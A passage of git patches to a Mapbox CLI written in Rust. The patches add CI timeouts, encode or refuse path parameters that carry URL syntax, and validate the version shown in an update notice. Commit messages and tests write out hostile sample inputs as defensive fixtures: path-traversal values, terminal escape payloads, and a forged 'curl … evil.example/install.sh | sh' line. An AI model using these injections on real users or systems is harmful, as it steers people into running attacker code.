From 5f17b8602e115b13095961bfb32618d8436920f3 Mon Sep 17 00:00:00 2001 From: Matthew Podwysocki Date: Mon, 14 Sep 2026 23:14:54 -0400 Subject: [PATCH 1/9] ci: bound every job, so a hang fails instead of idling MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit None of the four jobs had a `timeout-minutes`, so each inherited GitHub's six-hour default. That is what a test blocking on `accept()` with no deadline cost the Windows leg — six hours per run, and the only reason it went unnoticed for a day is that every run on `main` was cancelled by the next push before it could finish. Twenty minutes is not a budget; these legs take one to two minutes. It is a tripwire, set about ten times longer than anything here has ever needed. On all four rather than the one that broke. `installer` and `installer-windows` both stand up local servers in `test-install.sh` and `test-install.ps1` and could wedge exactly the same way, and a job that suddenly needs twenty minutes has something wrong with it worth hearing about whichever it is. The comment explaining this lives once, on `build`, where it happened. --- .github/workflows/ci.yml | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index b90bfb0..41eb5e2 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -32,6 +32,18 @@ jobs: matrix: os: [ubuntu-latest, macos-14, windows-2022] runs-on: ${{ matrix.os }} + # These legs take one to two minutes. Twenty is not a budget, it is a + # tripwire: without one, a job that stops making progress runs to GitHub's + # six-hour default before anyone hears about it. That is not hypothetical — + # a test that blocked on `accept()` with no deadline wedged the Windows leg + # for its full six hours, and the only reason it went unnoticed for a day + # is that every run on `main` was cancelled by the next push first. + # + # On all three rather than Windows alone: nobody here runs Windows as a + # daily driver, so CI is the only signal it has — but a Unix leg that + # suddenly needs twenty minutes has something wrong with it worth hearing + # about too. + timeout-minutes: 20 permissions: contents: read steps: @@ -113,6 +125,7 @@ jobs: matrix: os: [ubuntu-latest, macos-14] runs-on: ${{ matrix.os }} + timeout-minutes: 20 permissions: contents: read steps: @@ -148,6 +161,7 @@ jobs: matrix: shell: [powershell, pwsh] runs-on: windows-2022 + timeout-minutes: 20 permissions: contents: read steps: @@ -268,6 +282,7 @@ jobs: audit: name: advisories (blocks on a vulnerability) runs-on: ubuntu-latest + timeout-minutes: 20 permissions: contents: read steps: From a9bb1c256281b9c48d63df1ffd221e5a4048496a Mon Sep 17 00:00:00 2001 From: Matthew Podwysocki Date: Mon, 14 Sep 2026 23:44:19 -0400 Subject: [PATCH 2/9] Treat a path parameter as a segment, not as URL syntax MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Path parameters are substituted into a template — `…/{username}/{style_id}/ static/{overlay}/…` — and the value went in unencoded, so one carrying URL syntax changed the shape of the request rather than naming a segment within it. A `?` appended query parameters the caller never asked for, `..` and its backslash spelling moved the path, and `#` truncated it. Each went out with the caller's token and the command's method. The host was never reachable: `//other`, `https://other`, `%2f%2f…` and `x@other` all still resolve to the API's own host, so nothing could be directed at another server. What was reachable was a different path on the API — worst shaped as `styles delete`, a `DELETE` whose target was influenced by its argument. It matters most where the value does not come from the person typing: an agent building a command from a prompt, or a script interpolating a variable from upstream. `/`, `?`, `#` and `\` are now percent-encoded. `\` is in that list because a special scheme treats it as a separator too, which `reqwest::Url` confirms — encoding `/` alone would have left it open. **Only those four, deliberately.** These values carry punctuation on purpose: `static get-image`'s template is `…/static/{overlay}/{lon},{lat},{zoom},{bearing},{pitch}/{width}x{height}{highRes}{format}`, where the overlay is `pin-s+f74e4e(-122.46,37.77)`, `{highRes}` is `@2x` and three placeholders share one comma-separated segment. Encoding everything outside RFC 3986's unreserved set would rewrite all of that and risk breaking requests that work today. Encoding only what alters the URL's shape cannot change a request that does not already contain those characters — pinned by a test that walks real values and asserts they pass through byte for byte, and without allocating. A value of `.` or `..` is **refused** rather than encoded, because encoding does not stop it: a special scheme reads `%2e%2e` as a double-dot segment too, so it climbs however it is spelled. Encoding the separators handles the multi-level case by collapsing it to one segment; this handles the remainder. Eight tests, including that an empty optional parameter still drops its whole segment — several operations rely on that and it had to survive. 595 tests, fmt and clippy clean. --- docs/commands.md | 1 + src/executor.rs | 165 ++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 163 insertions(+), 3 deletions(-) diff --git a/docs/commands.md b/docs/commands.md index 4c4180f..23829b4 100644 --- a/docs/commands.md +++ b/docs/commands.md @@ -3497,6 +3497,7 @@ faults and are not: | `request_timed_out` | The request ran out of its time budget. Its own code because it is the one transport failure worth retrying or raising `--timeout` for. | | `missing_path_parameters` | A `{username}`/`{owner}`/`{account}` placeholder went unresolved. | +| `invalid_path_parameter` | A path parameter was `.` or `..`, which would move the request to a different endpoint. Other URL syntax in a path parameter (`/`, `?`, `#`, `\`) is percent-encoded rather than refused, so it names a segment instead of changing the URL's shape. | | `invalid_data` | `--data` was not valid JSON, or a `@`/`@-` body was empty. | | `invalid_file` | A file could not be read: one named by `--file`, or one named by `--data @`. Also a `@` that is not valid UTF-8, which a JSON body has to be. | | `binary_response` | The response was bytes and stdout is a terminal. Redirect it to a file. | diff --git a/src/executor.rs b/src/executor.rs index fbee348..f86deaa 100644 --- a/src/executor.rs +++ b/src/executor.rs @@ -1,3 +1,4 @@ +use std::borrow::Cow; use std::time::Duration; use anyhow::{anyhow, Result}; @@ -124,7 +125,8 @@ fn dispatch( // Substitute other path params from positional args for param in &op.path_params { if let Some(val) = matches.get_one::(¶m.arg_name) { - path = substitute_path_param(&path, ¶m.name, val, param.required); + let safe = path_segment(¶m.name, val)?; + path = substitute_path_param(&path, ¶m.name, &safe, param.required); } } @@ -1087,6 +1089,68 @@ fn empty_success_line(method: &str, subject: Option<&str>) -> String { /// Parameters that are only part of a segment (`{width}x{height}{format}`) /// are substituted as they are: an empty value there is the format's default, /// which is what the spec means by optional. +/// The characters that would change the URL's *structure* rather than name a +/// segment within it. +/// +/// `\` is here because WHATWG treats it as a path separator for special +/// schemes, so `..\..\x` traverses exactly as `../../x` does — verified +/// against `reqwest::Url`, not assumed. +const PATH_STRUCTURAL: [char; 4] = ['/', '?', '#', '\\']; + +/// One path parameter's value, safe to splice into the URL's path. +/// +/// The path is built by substituting into a template +/// (`…/{username}/{style_id}/static/{overlay}/…`), so a value carrying URL +/// syntax used to change which request went out. With the caller's token and +/// the command's method attached, `styles delete '../../x'` aimed a `DELETE` +/// at a path nobody asked for, and `'x?fresh=true'` appended a query +/// parameter — the same shape as mapbox/mcp-server's `directions_tool` fix. +/// +/// **Only the four structural characters are encoded, deliberately.** Path +/// parameters here carry punctuation on purpose: a static-images overlay is +/// `pin-s+f74e4e(-122.46,37.77)`, `{highRes}` is `@2x`, `{format}` is `.png`, +/// and `{lon},{lat},{zoom}` are three placeholders sharing one comma- +/// separated segment. Percent-encoding everything outside RFC 3986's +/// unreserved set would rewrite all of that and risk breaking requests that +/// work today. Encoding only what alters the URL's shape cannot change any +/// request that does not already contain those four characters. +/// +/// Dot segments are refused rather than encoded, because encoding does not +/// stop them: WHATWG reads `%2e%2e` as a double-dot segment too, so a value +/// of exactly `..` still climbs a level however it is spelled. Encoding the +/// separators is what defeats the multi-level `../../x` case — it collapses +/// to a single segment — and this catches the single-level remainder. +fn path_segment<'a>(name: &str, value: &'a str) -> Result> { + // `%2e` is a dot as far as the URL parser is concerned, in either case. + let as_dots = value.replace("%2e", ".").replace("%2E", "."); + if as_dots == "." || as_dots == ".." { + return Err(CliError::new( + "invalid_path_parameter", + format!( + "`{value}` cannot be used as {name}: a path segment of `.` or `..` would move \ + the request to a different endpoint." + ), + ) + .into()); + } + + if !value.contains(PATH_STRUCTURAL) { + return Ok(Cow::Borrowed(value)); + } + + let mut encoded = String::with_capacity(value.len()); + for c in value.chars() { + match c { + '/' => encoded.push_str("%2F"), + '?' => encoded.push_str("%3F"), + '#' => encoded.push_str("%23"), + '\\' => encoded.push_str("%5C"), + other => encoded.push(other), + } + } + Ok(Cow::Owned(encoded)) +} + fn substitute_path_param(path: &str, name: &str, value: &str, required: bool) -> String { let placeholder = format!("{{{name}}}"); let segment = format!("/{placeholder}"); @@ -1272,10 +1336,12 @@ fn write_binary(body: &[u8], content_type: &str) -> Result<()> { mod tests { use super::{ describe_body, empty_success_line, file_name_of, is_binary_content_type, part_media_type, - payload_of, query_pairs, redacted_url, request_id, resolve_body_source, resolve_data, - shell_value, substitute_path_param, with_page_context, BodySource, NextPage, + path_segment, payload_of, query_pairs, redacted_url, request_id, resolve_body_source, + resolve_data, shell_value, substitute_path_param, with_page_context, BodySource, NextPage, ResponseHeaders, ACCESS_TOKEN, REQUEST_ID_HEADERS, }; + use std::borrow::Cow; + use crate::http::Payload; use crate::output::CliError; use crate::spec::{Parameter, RequestBody}; @@ -2121,4 +2187,97 @@ mod tests { ); assert_eq!(err.downcast_ref::().unwrap().fix, None); } + + /// The shape mapbox/mcp-server fixed in `directions_tool`: a value spliced + /// into the path used to append query parameters the caller never asked + /// for. Verified against `reqwest::Url` at the time — `x?fresh=true` gave + /// `query = fresh=true&access_token=…`. + #[test] + fn a_path_parameter_cannot_inject_a_query_string() { + let safe = path_segment("style_id", "x?fresh=true").expect("encoded, not refused"); + assert_eq!(safe, "x%3Ffresh=true"); + } + + /// With the caller's token and the command's method attached, this aimed a + /// `DELETE` at whatever path the value resolved to. The host was never + /// reachable — `//evil`, `https://evil` and `x@evil` all stay on + /// `api.mapbox.com` — but the path was. + #[test] + fn a_path_parameter_cannot_retarget_the_path() { + let safe = path_segment("style_id", "../../tokens/v2/victim").expect("encoded"); + assert_eq!(safe, "..%2F..%2Ftokens%2Fv2%2Fvictim"); + assert!(!safe.contains('/'), "one segment, not four: {safe}"); + } + + /// `\` is a path separator too, for a special scheme — WHATWG says so and + /// `reqwest::Url` agrees: `..\..\tokens` resolved just as `../../tokens` + /// did. Encoding `/` alone would have left this open. + #[test] + fn a_backslash_cannot_retarget_the_path_either() { + let safe = path_segment("style_id", r"..\..\tokens").expect("encoded"); + assert_eq!(safe, "..%5C..%5Ctokens"); + } + + /// A fragment is not sent to the server, so this silently truncated the + /// path rather than redirecting it — a request to somewhere the caller + /// could not see in what they typed. + #[test] + fn a_fragment_cannot_truncate_the_path() { + assert_eq!( + path_segment("style_id", "x#frag").expect("encoded"), + "x%23frag" + ); + } + + /// **Refused, not encoded, and that distinction is the point.** Encoding + /// does not stop a dot segment: WHATWG reads `%2e%2e` as one too, so a + /// value of exactly `..` climbs a level however it is spelled. Encoding + /// the separators handles the multi-level case by collapsing it into one + /// segment; this handles what is left. + #[test] + fn a_dot_segment_is_refused_however_it_is_spelled() { + for value in ["..", ".", "%2e%2e", "%2E%2E", "%2e", ".%2e", "%2e."] { + let err = path_segment("style_id", value).expect_err(value); + assert_eq!(refusal(err).code, "invalid_path_parameter", "{value}"); + } + } + + /// **The reason this encodes four characters and not everything outside + /// RFC 3986's unreserved set.** These values carry punctuation on purpose, + /// and percent-encoding it would rewrite requests that work today — + /// `static get-image`'s template alone is + /// `…/static/{overlay}/{lon},{lat},{zoom},{bearing},{pitch}/{width}x{height}{highRes}{format}`. + #[test] + fn punctuation_a_path_parameter_legitimately_carries_is_untouched() { + for value in [ + "pin-s+f74e4e(-122.46,37.77)", + "@2x", + ".png", + "-122.4194,37.7749,12,0,0", + "mapbox.mapbox-streets-v8", + "Arial Unicode MS Regular", + "0-255", + "ckstyle00000000000000001a", + ] { + let safe = path_segment("p", value).expect("not refused"); + assert_eq!(safe, value, "should pass through byte for byte"); + assert!(matches!(safe, Cow::Borrowed(_)), "and without allocating"); + } + } + + /// An empty optional parameter still drops its whole segment, which + /// several operations rely on — encoding must not have taken that away. + #[test] + fn an_empty_optional_parameter_still_drops_its_segment() { + let safe = path_segment("draft", "").expect("empty is not a dot segment"); + assert_eq!(safe, ""); + assert_eq!( + substitute_path_param("/styles/v1/{u}/{id}/draft", "draft", &safe, false), + "/styles/v1/{u}/{id}/draft" + ); + assert_eq!( + substitute_path_param("/styles/v1/{u}/{id}/{draft}", "draft", &safe, false), + "/styles/v1/{u}/{id}" + ); + } } From 942b35bfe7dec34134ee14a61f20caf3ece79031 Mon Sep 17 00:00:00 2001 From: AutoCodeowners Date: Mon, 14 Sep 2026 20:04:44 +0000 Subject: [PATCH 3/9] Add CODEOWNERS file --- CODEOWNERS | 1 + 1 file changed, 1 insertion(+) create mode 100644 CODEOWNERS diff --git a/CODEOWNERS b/CODEOWNERS new file mode 100644 index 0000000..2ddd5f2 --- /dev/null +++ b/CODEOWNERS @@ -0,0 +1 @@ +* @mapbox/locationai From 1cbec6ad5f4944eb04cd4e8f615fd2f4e61d0067 Mon Sep 17 00:00:00 2001 From: Matthew Podwysocki Date: Mon, 14 Sep 2026 23:49:50 -0400 Subject: [PATCH 4/9] Drop issue links a reader of this repo cannot open MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Seven comments ended with a pointer to an internal tracker. They arrived here by being carried over verbatim when this work moved, and they are the kind of reference that is worse than none: an external reader gets a link that 404s, and the repository it names is not this repository's to advertise. Nothing is lost by removing them. Every one was a trailing "see #N" on a comment that already explains the whole reasoning above it — why both opt-out variable names are honoured in the installers, why a response's headers have to be read before its body, why `--data-raw` would be the escape hatch if a text body ever needed one. The pointer was the least informative line in each. Two are reworded rather than truncated, where the sentence named the tracker as the moment something changed; they now say what is true instead of when it became true. 588 tests, both installer suites, fmt and clippy clean. --- docs/commands.md | 4 +--- scripts/install.ps1 | 2 +- scripts/install.sh | 2 +- scripts/test-install.ps1 | 3 +-- scripts/test-install.sh | 3 +-- src/executor.rs | 5 ++--- 6 files changed, 7 insertions(+), 12 deletions(-) diff --git a/docs/commands.md b/docs/commands.md index 4c4180f..14a8793 100644 --- a/docs/commands.md +++ b/docs/commands.md @@ -629,9 +629,7 @@ Two details worth knowing: is just as partial there, and the API's own document cannot carry the fact without an envelope this CLI has promised not to add — so a `-o json` consumer reading stdout alone is unaffected, and one watching stderr is - told. There is no `--all` yet; following the pages is the caller's job, - and [#117](https://github.com/mapbox/mapbox-cli-private/issues/117) tracks - changing that. + told. There is no `--all` yet; following the pages is the caller's job. - **`--id` searches the page it was given.** On a paginated listing a miss means "not on this page", which is not the same as "does not exist", so the error says which and how to look further: diff --git a/scripts/install.ps1 b/scripts/install.ps1 index 0ef900b..3143555 100644 --- a/scripts/install.ps1 +++ b/scripts/install.ps1 @@ -100,7 +100,7 @@ # installers, which are fetched and run in one line with no release notes # in front of the reader - and breaking an opt-out is the one change that # must not happen quietly. So both work here, and the new name wins when - # both are set. See mapbox/mapbox-cli-private#140. + # both are set. # # Unset, empty or whitespace is a cleared variable. `0`, `f`, `false`, `n`, # `no` and `off` are clap's false spellings, the same reading this script diff --git a/scripts/install.sh b/scripts/install.sh index 17627ef..b2e44c6 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -78,7 +78,7 @@ INSTALL_SOURCE="${MAPBOX_CLI_INSTALL_SOURCE:-}" # release notes in front of them — and breaking an opt-out is the one change # that must not happen quietly. So both work here, the new name wins when both # are set, and the old one keeps working for the Dockerfile the comment above -# describes. See mapbox/mapbox-cli-private#140. +# describes. # # Unset, empty, or whitespace: a cleared variable. `0`, `f`, `false`, `n`, `no` # and `off` are clap's false spellings, so a `0` is someone declining the diff --git a/scripts/test-install.ps1 b/scripts/test-install.ps1 index 3c65437..210a254 100644 --- a/scripts/test-install.ps1 +++ b/scripts/test-install.ps1 @@ -517,8 +517,7 @@ try { Start-Case 'MAPBOX_CLI_NO_TELEMETRY is honoured, and outranks the old name' New-CaseEnv 'telemetry-new-name' $env:MAPBOX_CLI_INSTALL_SOURCE = 'dockerfile' - # The documented name, which the binary reads and this script did not until - # mapbox/mapbox-cli-private#140. + # The documented name, which the binary reads and this script honours too. $env:MAPBOX_CLI_NO_TELEMETRY = '1' [IO.File]::WriteAllText($RequestLog, '') Invoke-Installer diff --git a/scripts/test-install.sh b/scripts/test-install.sh index bd396f5..ca51105 100755 --- a/scripts/test-install.sh +++ b/scripts/test-install.sh @@ -666,8 +666,7 @@ shim curl-recording curl CURL_LOG="${CASE_DIR}/curl-args" export MAPBOX_TEST_CURL_LOG="$CURL_LOG" -# The documented name, which the binary reads and this script did not until -# mapbox/mapbox-cli-private#140. +# The documented name, which the binary reads and this script honours too. : >"$CURL_LOG" export MAPBOX_CLI_NO_TELEMETRY=1 run_piped && status=0 || status=$? diff --git a/src/executor.rs b/src/executor.rs index fbee348..c16b4de 100644 --- a/src/executor.rs +++ b/src/executor.rs @@ -398,8 +398,7 @@ pub fn request_id(headers: &reqwest::header::HeaderMap) -> Option { /// A struct rather than three reads at the call site because `bytes()` /// consumes the response: whatever is not taken before it is unrecoverable. /// Taking only `Content-Type` is what left paginated listings truncating -/// silently and left a 500 with nothing to quote to support -/// (mapbox/mapbox-cli-private#117). +/// silently and left a 500 with nothing to quote to support. struct ResponseHeaders { /// Decides whether the body is read as text or written as bytes. content_type: String, @@ -797,7 +796,7 @@ const STDIN_PATH: &str = "-"; /// literal `@` cannot be passed this way. It costs nothing here, because every /// operation reachable with `--data` today sends JSON, and `@` is not valid /// JSON. If a text body that could start with one is ever wired up, `--data-raw` -/// is the established escape hatch — see mapbox/mapbox-cli-private#118. +/// is the established escape hatch. /// /// Read here rather than at send time so that a `--dry-run` validates the file /// too. A dry run that skipped this would describe a request that could not From 3ba3480c2ab05b46ea64dbe90562d2a41ae483dc Mon Sep 17 00:00:00 2001 From: Matthew Podwysocki Date: Tue, 15 Sep 2026 00:01:22 -0400 Subject: [PATCH 5/9] Pin that an encoded separator stays one segment MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Raised in review: `%2e%2e%2fvictim` has no raw structural character, so it passes through unchanged. True — and it names one segment rather than traversing, because the URL parser never decodes `%2f` into a separator. Encoded dots with *raw* slashes are the case that does resolve, and the encoding this adds is what stops it; the two were only distinguishable by reading the parser, so now a test says which is which. Left alone rather than blocked on purpose. Percent-encoded values in path parameters are a documented Mapbox feature: a custom marker overlay is `url-https%3A%2F%2Fexample.com%2Fmarker.png(…)`, `geojson(…)` takes URI-encoded GeoJSON, and the spec says a bbox's brackets may be sent "literally or percent-encoded as %5B". Refusing them would break all three. --- src/executor.rs | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/src/executor.rs b/src/executor.rs index f86deaa..96c5f61 100644 --- a/src/executor.rs +++ b/src/executor.rs @@ -2242,6 +2242,39 @@ mod tests { } } + /// Encoded dots *and* encoded slashes together, which is the shape that + /// looks like traversal and is not. + /// + /// `%2f` is never decoded into a separator by the URL parser, so this + /// stays one segment on the wire — unlike encoded dots with *raw* slashes + /// (`%2e%2e/%2e%2e/x`), which the parser does resolve and which the + /// encoding above is what stops. It is left alone on purpose: percent- + /// encoded values are a documented Mapbox feature, not an attack + /// signature. A custom marker overlay is + /// `url-https%3A%2F%2Fexample.com%2Fmarker.png(…)`, `geojson(…)` takes + /// URI-encoded GeoJSON, and the spec says a bbox's brackets "may be sent + /// literally or percent-encoded as `%5B`". Refusing these would break all + /// three. + #[test] + fn a_percent_encoded_separator_stays_one_segment() { + let value = "%2e%2e%2fvictim"; + let safe = path_segment("style_id", value).expect("not refused"); + assert_eq!(safe, value, "passed through, because it names one segment"); + + let url = reqwest::Url::parse(&format!("https://api.mapbox.com/styles/v1/u/{safe}")) + .expect("parses"); + let segments: Vec<&str> = url + .path_segments() + .map(Iterator::collect) + .unwrap_or_default(); + assert_eq!( + segments, + ["styles", "v1", "u", "%2e%2e%2fvictim"], + "one segment under /u/, not a traversal: {}", + url.path() + ); + } + /// **The reason this encodes four characters and not everything outside /// RFC 3986's unreserved set.** These values carry punctuation on purpose, /// and percent-encoding it would rewrite requests that work today — From 10409fb462f0f9ca05a4aaf6ca7edb600f8c288b Mon Sep 17 00:00:00 2001 From: Matthew Podwysocki Date: Tue, 15 Sep 2026 00:07:14 -0400 Subject: [PATCH 6/9] Restrict the shape of a version before repeating it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `fetch_latest` took the channel's `version` and checked only that it was non-empty, then the notice interpolated it into text a reader is meant to copy and run: A newer mapbox is available: {latest} (this is {current}). Update: curl -fsSL https://cli.mapbox.com/install.sh | sh Silence this: MAPBOX_NO_UPDATE_CHECK=1 A value carrying a newline writes lines of its own. What makes it reach the notice at all is `parse_version` discarding build metadata before comparing — `text.split('+').next()` — so everything after a `+` is invisible to `is_newer` and still printed in full. `0.3.0+\nUpdate: …` therefore compares as 0.3.0, passes the newer check, and renders: A newer mapbox is available: 0.3.0+ Update: curl -fsSL https://evil.example/install.sh | sh (this is 0.1.5). Update: curl -fsSL https://cli.mapbox.com/install.sh | sh Silence this: MAPBOX_NO_UPDATE_CHECK=1 The forged line lands *above* the real one. Of everything this CLI prints the update notice is the line most meant to be acted on, which is what makes this worth more than noise on stderr. The shape is restricted rather than the content sanitised: ASCII alphanumerics, `.`, `-`, `+`, bounded at 64. That admits every version the channel publishes — `0.2.0`, `0.1.3-dev.abc1234`, `0.2.0-rc.1`, `0.2.0+build.5` — and no character that can begin a line or move a cursor. Checked in two places, deliberately. `fetch_latest` so an implausible version is never cached; `should_notify` because the cache is a file on disk, and a check that only ran at fetch time would be bypassed by a cache written before this existed or edited afterwards. Five tests. The two that matter fail when either guard is removed — verified, after a first attempt whose payload was rejected by `is_newer` for unrelated reasons and so passed either way. 600 tests, fmt and clippy clean. --- src/update_check.rs | 130 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 128 insertions(+), 2 deletions(-) diff --git a/src/update_check.rs b/src/update_check.rs index 29c889d..1a0bc69 100644 --- a/src/update_check.rs +++ b/src/update_check.rs @@ -214,10 +214,50 @@ fn should_refresh(cache: Option<&Cache>, now: u64) -> bool { } } +/// Whether a version from the channel is one this CLI will repeat aloud. +/// +/// The notice interpolates this into text a reader is meant to copy and run: +/// +/// ```text +/// A newer mapbox is available: 0.3.0 (this is 0.1.5). +/// Update: curl -fsSL https://cli.mapbox.com/install.sh | sh +/// Silence this: MAPBOX_NO_UPDATE_CHECK=1 +/// ``` +/// +/// A value carrying newlines could therefore add lines of its own — a second +/// `Update:` naming somewhere else would be indistinguishable from the real +/// one. Of everything this CLI prints, the update notice is the line most +/// meant to be acted on, which is what makes forging it worth more than noise +/// on stderr. +/// +/// So the shape is restricted rather than the content sanitised: ASCII +/// alphanumerics, `.`, `-` and `+`, bounded. That admits `0.2.0` and +/// `0.1.3-dev.abc1234`, which is everything the channel publishes, and admits +/// no character that could begin a line or move a cursor. +/// +/// Checked in two places on purpose. `fetch_latest` applies it so an +/// implausible version is never written to the cache; this function applies it +/// again because the cache is a file on disk, and a check that only ran at +/// fetch time would be bypassed by a cache written before this existed, or +/// edited afterwards. +fn is_plausible_version(value: &str) -> bool { + /// Long enough for `0.1.3-dev.` and a full commit sha, with room over. + const LONGEST: usize = 64; + + !value.is_empty() + && value.len() <= LONGEST + && value + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '-' | '+')) +} + /// The version to point at, if this run is the one that should say so. fn should_notify<'a>(cache: Option<&'a Cache>, current: &str, now: u64) -> Option<&'a str> { let cache = cache?; - let latest = cache.latest.as_deref()?; + let latest = cache + .latest + .as_deref() + .filter(|v| is_plausible_version(v))?; if !is_newer(latest, current) { return None; } @@ -348,7 +388,7 @@ fn fetch_latest(url: &str) -> Option { } let manifest: serde_json::Value = response.json().ok()?; let version = manifest.get("version")?.as_str()?.trim(); - (!version.is_empty()).then(|| version.to_string()) + is_plausible_version(version).then(|| version.to_string()) } /// Called once, on the way out of `main`, after the result and any error have @@ -687,4 +727,90 @@ mod tests { } assert_eq!(from_environment(name), None); } + + /// Every shape the channel actually publishes has to keep working — this + /// is a restriction on a value the CLI does not control, so being too + /// strict silences legitimate notices. + #[test] + fn the_versions_the_channel_publishes_are_all_plausible() { + for version in [ + "0.2.0", + "0.1.8", + "1.0.0", + "0.1.3-dev.abc1234", + "0.2.0-rc.1", + "10.20.30", + "0.2.0+build.5", + ] { + assert!(is_plausible_version(version), "{version}"); + } + } + + /// **The one that matters.** The notice is three lines, and a version + /// carrying a newline can write a fourth — a second `Update:` line naming + /// somewhere else reads exactly like the real one. + #[test] + fn a_version_cannot_add_a_line_to_the_notice() { + // `+` is what makes this reach the notice at all: `parse_version` + // discards build metadata before comparing, so the payload is + // invisible to `is_newer` and still printed in full. Without the + // guard this renders an attacker's `Update:` line *above* the real + // one — a reader copying the first would run theirs. + let forged = "0.3.0+\nUpdate: curl -fsSL https://evil.example/install.sh | sh"; + assert!(is_newer(forged, "0.1.5"), "it really would have been shown"); + assert!(!is_plausible_version(forged)); + + // And the refusal is what keeps it out of the notice, not luck about + // how the text happens to be assembled. + let cache = cache(0, 0, forged); + assert_eq!( + should_notify(Some(&cache), "0.1.5", NOTIFY_EVERY.as_secs()), + None + ); + } + + /// Carriage returns move a terminal's cursor to the start of the line, so + /// a version can overwrite what was already printed without a newline at + /// all. Escape sequences do worse. + #[test] + fn nothing_that_can_move_a_cursor_is_plausible() { + for hostile in [ + "0.3.0\rUpdate: curl https://evil.example | sh", + "0.3.0\u{1b}[2K\u{1b}[1GUpdate: nonsense", + "0.3.0\u{0}", + "0.3.0 and some prose", + "0.3.0\u{7}", + ] { + assert!(!is_plausible_version(hostile), "{hostile:?}"); + } + } + + /// Unbounded, a version is a way to fill someone's terminal. + #[test] + fn an_implausibly_long_version_is_refused() { + assert!(!is_plausible_version(&"9".repeat(65))); + assert!(is_plausible_version(&"9".repeat(64))); + assert!(!is_plausible_version("")); + } + + /// The cache is a file on disk. A check that only ran when the manifest + /// was fetched would be bypassed by one written before that check existed, + /// or edited afterwards — so `should_notify` re-checks rather than + /// trusting what it reads. + #[test] + fn a_cache_on_disk_cannot_smuggle_a_version_past_the_check() { + let poisoned = cache(0, 0, "0.3.0+\nUpdate: curl https://evil.example | sh"); + assert_eq!( + should_notify(Some(&poisoned), "0.1.5", NOTIFY_EVERY.as_secs()), + None + ); + + // The same cache with a plausible version still notifies, so the guard + // is what refused it and not the surrounding conditions. + let clean = cache(0, 0, "0.3.0"); + assert_eq!( + should_notify(Some(&clean), "0.1.5", NOTIFY_EVERY.as_secs()), + Some("0.3.0") + ); + } } From 821b470fd2eb861121bc96745e9194e826bbfaa8 Mon Sep 17 00:00:00 2001 From: Mofei Zhu <13761509829@163.com> Date: Tue, 15 Sep 2026 11:29:31 +0300 Subject: [PATCH 7/9] Bring CHANGELOG.md up to date with the private repo's copy MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The private mapbox-cli-private repo's CHANGELOG.md carried a full 0.2.0 entry (a breaking command-rename table, a usage-error fix, and a Security note for RUSTSEC-2026-0285) that never made it here. Copied verbatim, adapted only where a private-repo detail (a submodule pin, a path under oss/) doesn't apply from this repo's own perspective. Also cuts the 0.2.0 heading, matching the private repo's own cut, and carries over the preamble's notes on how a release heading is added and that dev-channel builds aren't listed here — both true regardless of which repo's tooling does the cutting. --- CHANGELOG.md | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 60 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a57557b..685d0bb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,7 +1,8 @@ # Changelog What changed, and what it means for scripts that already use this tool. -Newest first. +Newest first, written by hand — the commit subject rarely explains why a +change matters. Versions follow [semantic versioning](https://semver.org/). Pre-1.0 rule: while the version starts with `0.`, a breaking change raises the minor @@ -10,8 +11,16 @@ breaking is [written down in CONTRIBUTING.md](CONTRIBUTING.md#compatibility) — command names, flags, the two output modes and the exit codes are promises; the Mapbox APIs' own response bodies are not. +Cutting a release adds a `## - ` heading below +`## Unreleased`, which stays in place so the next change has somewhere to go. + +Dev-channel builds (`v0.1.3-dev.`) are published straight from a branch +that may never merge. They are not releases and are not listed here. + ## Unreleased +## 0.2.0 - 2026-09-14 + ### Added - Paginated listings now say when there is more to fetch. A response the API @@ -45,6 +54,37 @@ the Mapbox APIs' own response bodies are not. ### Changed +- **Breaking**: nine more commands renamed, continuing #116's cleanup, and + two dropped outright: + + | Was | Is now | + | --- | --- | + | `mapbox geocoder forward-geocode` | `mapbox geocoder forward` | + | `mapbox geocoder reverse-geocode` | `mapbox geocoder reverse` | + | `mapbox geocoder batch-geocode` | `mapbox geocoder batch` | + | `mapbox tilesets get-rastertile` | `mapbox tilesets get-tile` | + | `mapbox tilesets get-vectortile` | `mapbox tilesets get-mvt` | + | `mapbox rasterarrays get-mrt-tile` | `mapbox tilesets get-mrt` | + | `mapbox tilequery get` | `mapbox tilesets query` | + | `mapbox static-images get-static-image` | `mapbox static get-image` | + | `mapbox static-tiles get-static-tile` | `mapbox static get-tile` | + + `mapbox rasterarrays`, `mapbox tilequery`, `mapbox static-images` and + `mapbox static-tiles` no longer exist: each held exactly one operation, + and that operation now answers under `tilesets` or `static` instead — + the same reasoning 0.1.8 gave for `sprites` and `tilesets` appearing + there. `mapbox static` is new for it. + + `static-images get-static-image-auto` and `get-static-image-bbox` are + gone, not renamed — the decision record's reason for withholding both is + that they will merge into `get-image`'s own parameters, but that merge + hasn't happened yet, so today there is simply no way to ask for an + auto-fit or bounding-box static image from this CLI. + + Nothing answers to any of the old spellings, the same as 0.1.8's rename: + no hidden alias, and the two dropped commands are not offered under any + spelling. + - The advice under a transport failure now names `ALL_PROXY` alongside `HTTPS_PROXY` and `NO_PROXY`, and says that a SOCKS proxy is not supported. `ALL_PROXY=socks5://…` fails the request rather than being ignored, and @@ -68,6 +108,25 @@ the Mapbox APIs' own response bodies are not. no release notes in front of the reader, so breaking an opt-out there would have happened silently. When both are set the new name wins. +- A usage error under 